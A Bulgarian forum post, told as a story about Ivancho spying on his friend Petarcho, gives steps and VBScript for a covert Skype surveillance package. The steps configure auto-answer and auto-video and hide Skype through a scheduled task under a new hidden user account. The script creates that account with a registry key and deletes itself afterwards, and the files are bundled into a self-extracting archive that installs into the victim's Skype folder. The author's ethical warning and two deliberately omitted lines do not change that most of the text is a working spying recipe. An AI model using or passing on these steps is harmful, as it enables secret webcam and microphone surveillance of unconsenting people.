Този проект ми отне доста време но в крайна сметка е готов. Преди да започна да разказвам със помоща на геройте ми искам да ви попитам как бихте се почуствали ако направят същото и на вас ? за това първо се замислете преди да го реализирате!
Иванчо от много време си мислел че е възможно подслушването и наблюдението за това никога не оставял включен камерата и микрофона. Самия той многократно се помъчил да направи подобна програма за шпионаж но за жалост или за щастие не оспял но той не се отказал толкова лесно. Веднъж както си правил нов акаунт за скайп (за да се избазика със Петърчо) му дошло идеята какво би станало ако настрои някой скайп акаунт по тъкъв начин че да започва автоматично видео и да отваря автоматично на входящи разговори и да го изпрати на приятелчето си (и така за работа) Той се сетил за Run Skype from a USB Memory а по точно .... влязалл във директорята на скайп C:\Program Files\Skype\Phone създал папка Data създал и един бат със следното съдържание skype.exe /datapath:"Data" /removable стартирал скайп и задал следните настроки
Поверителност > Приемай Разговори само от включени в списака
Разговори > Отваряй автоматично на входящи разговори
Видео > Разреши видеото по скайп
Видео > Започни автоматично видео
Видео > Приемай автоматично видео > от никого |
след затварянето на скайп във папката Data ще се намират всички настройки... да готово за сега но как да се скрие иконата на скайп и се пак трябва да се стартира и скайпа на Петърчо... той се сетил за schtasks със него може да се стартира програма под друг акаун и да не се вижда....
WshShell.Run "schtasks /create /tn ""NAME"" /tr ""ПЪТ_ДО_ФАЙЛА"" /sc onstart /sd 28/04/2008 /ru USER /rp PASS",0, True
за да се стартира...
WshShell.Run "schtasks /run /tn ""NAME",0, True
но преди всичко трябва да се направи нов акаунт
WshShell.Run "net user USER PAS /add",0, True
след което трябва да се скрие акаунта
WshShell.RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\MIcrosoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\USER",0,"REG_DWORD"
а най последното е да си изтрием следите
Set f = CreateObject("scripting.filesystemobject")
f.deletefile WScript.ScriptFullName, true
и най важното за да работи всичко
on error resume next
Set WshShell = WScript.CreateObject("WScript.Shell")
до тук всичко е готово остава окомплектоването... копнал Иванчо папката Data .bat файла .vbs скрипта във една папка направил SFX архив и нагласил да се деархивира във директорията на скайп.....
Надявам се че не сте ме разбрали за целта съм изпуснал и два реда от скрипта... а който са ме разбрали нека прочетат какво съм писал във началото на темата...
Редакция:
Telnet
Петърчо отреагирва на Иванчо (част 2 зглобка на Keylogger)
Иванчо и Петърчо част 3 (Remote Desktop Connection)
Да си откраднем хронология.... (Иванчо и Петърчо част 4 )
Подслушване и видео наблюдение със Skype (Иванчо и Петърчо част 5)